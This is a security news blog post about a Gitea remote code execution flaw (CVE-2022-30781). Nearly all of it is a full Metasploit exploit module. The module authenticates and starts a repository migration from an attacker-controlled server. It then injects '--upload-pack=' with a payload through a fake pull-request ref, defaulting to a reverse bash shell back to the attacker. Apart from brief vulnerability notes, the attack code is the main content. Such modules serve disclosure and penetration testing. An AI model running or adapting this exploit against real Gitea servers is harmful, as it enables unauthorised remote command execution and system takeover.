Skip to content
RealinfoSec.net

RealinfoSec.net

InfoSec News, Cybersecurity Awareness

  • Home
  • InfoSec News
    • Data Breach News
    • Latest Vulnerabilities
  • What Is InfoSec
  • CyberSecurity Newsletter
  • Cyber Academy
  • Cyber Help Desk
  • Cyber Knowledge Base
  • Contact Us
    • Contribute
  • My Bookmarks
  • Subscribers
    • Knowledge Quizzes
    • Register
  • Login
    • Password Reset
  • Register
  • Privacy Policy
    • Legal
  • Toggle search form
Remote code execution

Gitea 1.16.6 Remote Code Execution (RCE) (Metasploit)

Posted on 15 September 202215 September 2022 By RiSec.n0tst3 No Comments on Gitea 1.16.6 Remote Code Execution (RCE) (Metasploit)

A remote code execution vulnerability was discovered in Gitea affecting versions before 1.16.7, by security researcher, SAMGUY.

Gitea before 1.16.7 does not escape git fetch remote.

CWE-116Improper Encoding or Escaping of Output
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Fetch Remote Code Execution',
        'Description' => %q{
          This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.
        },
        'Author' => [
          'wuhan005 & li4n0', # Original PoC
          'krastanoel'        # MSF Module
        ],
        'References' => [
          ['CVE', '2022-30781'],
          ['URL', 'https://tttang.com/archive/1607/']
        ],
        'DisclosureDate' => '2022-05-16',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix win],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'vars_post' => {
        'user_name' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302

    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{match[:version]}")
    end

    CheckCode::Safe("Version detected: #{match[:version]}")
  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources

    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
  end

  def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
  end

  def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
  end

  def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'action' => 'delete',
        'repo_name' => name,
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
  end

  def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'auto_init' => 'on',
        'readme' => 'Default',
        'repo_name' => @repo_name,
        'trust_model' => 'default',
        'default_branch' => 'master',
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def gitea_migrate_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
      'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri

    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'service' => svc_type,
        'pull_requests' => 'on',
        'repo_name' => @migrate_repo_name,
        '_csrf' => get_csrf(res.get_cookies),
        'auth_token' => rand_text_alphanumeric(6..15),
        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
      },
      'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
      gitea_remove_repo(@repo_name)
      cleanup
      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
      send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
      data = {
        'max_response_items':50,'default_paging_num':30,
        'default_git_trees_per_page':1000,'default_max_blob_size':10485760
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
      data = {
        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
        "owner": { "login": datastore['username'] }
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
      send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      data = [
        {
          "base": {
            "ref": "master",
          },
          "head": {
            "ref": "--upload-pack=#{payload.encoded}",
            "repo": {
              "clone_url": "./",
              "owner": { "login": "master" },
            }
          },
          "updated_at": "2001-01-01T05:00:00+01:00",
          "user": {}
        }
      ]
      send_response(cli, data.to_json)
    end
  end
end

source

What is Remote Code Execution (RCE)?

Remote code execution (RCE) attacks allow an attacker to remotely execute malicious code on a computer. The impact of an RCE vulnerability can range from malware execution to an attacker gaining full control over a compromised machine.

Suggest an edit to this article

Recommended:  How To Fix Apache Cassandra RCE Vulnerability- CVE-2021-44521

Go to Cybersecurity Knowledge Base

Got to the Latest Cybersecurity News

Go to Cybersecurity Academy

Go to Homepage

Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today.

Remember, CyberSecurity Starts With You!

  • Globally, 30,000 websites are hacked daily.
  • 64% of companies worldwide have experienced at least one form of a cyber attack.
  • There were 20M breached records in March 2021.
  • In 2020, ransomware cases grew by 150%.
  • Email is responsible for around 94% of all malware.
  • Every 39 seconds, there is a new attack somewhere on the web.
  • An average of around 24,000 malicious mobile apps are blocked daily on the internet.
Bookmark

Please login to bookmark

Social Comments Box
  • About
  • Latest Posts
RiSec.n0tst3
Connect
RiSec.n0tst3
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!
RiSec.n0tst3
Connect
Latest posts by RiSec.n0tst3 (see all)
  • JD Sports:Cyber Attack affects 10 million customers - 30 January 2023
  • InfoSec – A Newbie Guide – InfoSecurity - 25 January 2023
  • Apple is accused of censoring apps in Hong Kong and Russia - 22 December 2022
Share the word, let's increase Cybersecurity Awareness as we know it

No related articles.

Recommended:  WordPress Plugin Testimonial Slider and Showcase 2.2.6 Stored XSS PoC
Vulnerabilities Tags:1.16.6, CVE-2022-30781, Gitea, RCE, Remote code execution

Post navigation

Previous Post: FBI Seizes Stolen Cryptocurrencies
Next Post: Uber Data Breach: Ride-hailing Giant Investigating disruptive ‘incident’

Related Posts

Cybersecurity Everything you need to know about the OpenSSL 3.0.7 Patch InfoSec News
EXPLOIT Croogo 3.0.2 – Unrestricted File Upload Exploit PoC Vulnerabilities
Windows Privilege Elevation Exploit POC Windows Privilege Elevation Exploit POC Released into The Wild InfoSec News
hotel druid RCE HotelDruid RCE (Remote Code Execution) V3.0.3 Vulnerabilities
YATinyWinFTP – Denial of Service (PoC) Vulnerabilities
Windows Unofficial fix emerges for Windows bug abused to infect home PCs with ransomware InfoSec News

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

RiSec Captcha 58 + = 65

AbuseIPDB Contributor Badge

Follow Our Socials:

Latest InfoSec News

Data Breach News InfoSec News

JD Sports: Cyber Attack affects 10 million customers

RiSec.n0tst3
30 January 2023 0
what is infosec
Cybersecurity Academy

InfoSec – A Newbie Guide – InfoSecurity

RiSec.n0tst3
25 January 2023 0
google
Cybersecurity Academy How to

Google Open-Source Vulnerability Scanning Tool

RiSec.Mitch
18 January 2023 0
InfoSec News

Polymorphic Malware Produced by ChatGPT

RiSec.Mitch
18 January 2023 0
russia
InfoSec News

Russian Hackers Repurpose Decade-Old Malware Infrastructure to Deploy New Backdoors

RiSec.Mitch
8 January 2023 0
latest cybersecurity news
InfoSec News

Dridex Banking Malware Targets MacOS users with a new delivery method

RiSec.Mitch
8 January 2023 0
ransomware
InfoSec News

Microsoft Discloses Methods Employed by 4 Ransomware Families Aiming at macOS

RiSec.Mitch
8 January 2023 0
InfoSec News

$8 billion in cryptocurrency withdrawals strike US bank Silvergate

RiSec.Mitch
8 January 2023 0

Featured Posts

cve-2022-38970
Data Security Featured How to InfoSec News Vulnerabilities

ieGeek Security Vulnerabilities still prevalent in 2022 IG20

RiSec.n0tst3
28 August 2022 6
Data Security Featured InfoSec News

Hacking Campaign Steals 10,000 Login Credentials From 130 Different Organizations

RiSec.n0tst3
27 August 2022 0
DDoS
Featured InfoSec News

Google mitigates largest DDoS Attack in History – Peaked at 46 Million RPS

RiSec.n0tst3
19 August 2022 1
Security researcher contacted me
Cybersecurity Academy Featured How to

A Security Researcher Contacted Me – What should I do?

RiSec.n0tst3
30 June 2022 0
google chrome
Featured InfoSec News

Google Chrome extensions can be easily fingerprinted to track you online

RiSec.n0tst3
19 June 2022 0
MFA
Cybersecurity Academy Data Security Featured

3 Steps To Better Account Security

RiSec.n0tst3
21 February 2022 0
hardening vps security
Cybersecurity Academy Featured

HARDEN YOUR VPS: Steps to Hardening your VPS Security

RiSec.n0tst3
10 January 2022 2

Share the joy

Copyright © 2022 RealinfoSec.net. CyberSecurity News & Awareness. All Trademarks, Logos And Brand Names Are The Property Of Their Respective Owners

We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept”, you consent to the use of the cookies. Cookie & Privacy Policy
Cookie settingsACCEPT
Privacy & Cookies Policy

Privacy Overview

This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary
Always Enabled
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Non-necessary
Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
SAVE & ACCEPT
en English
af Afrikaanssq Albanianam Amharicar Arabichy Armenianaz Azerbaijanieu Basquebe Belarusianbn Bengalibs Bosnianbg Bulgarianca Catalanceb Cebuanony Chichewazh-CN Chinese (Simplified)zh-TW Chinese (Traditional)co Corsicanhr Croatiancs Czechda Danishnl Dutchen Englisheo Esperantoet Estoniantl Filipinofi Finnishfr Frenchfy Frisiangl Galicianka Georgiande Germanel Greekgu Gujaratiht Haitian Creoleha Hausahaw Hawaiianiw Hebrewhi Hindihmn Hmonghu Hungarianis Icelandicig Igboid Indonesianga Irishit Italianja Japanesejw Javanesekn Kannadakk Kazakhkm Khmerko Koreanku Kurdish (Kurmanji)ky Kyrgyzlo Laola Latinlv Latvianlt Lithuanianlb Luxembourgishmk Macedonianmg Malagasyms Malayml Malayalammt Maltesemi Maorimr Marathimn Mongolianmy Myanmar (Burmese)ne Nepalino Norwegianps Pashtofa Persianpl Polishpt Portuguesepa Punjabiro Romanianru Russiansm Samoangd Scottish Gaelicsr Serbianst Sesothosn Shonasd Sindhisi Sinhalask Slovaksl Slovenianso Somalies Spanishsu Sudanesesw Swahilisv Swedishtg Tajikta Tamilte Teluguth Thaitr Turkishuk Ukrainianur Urduuz Uzbekvi Vietnamesecy Welshxh Xhosayi Yiddishyo Yorubazu Zulu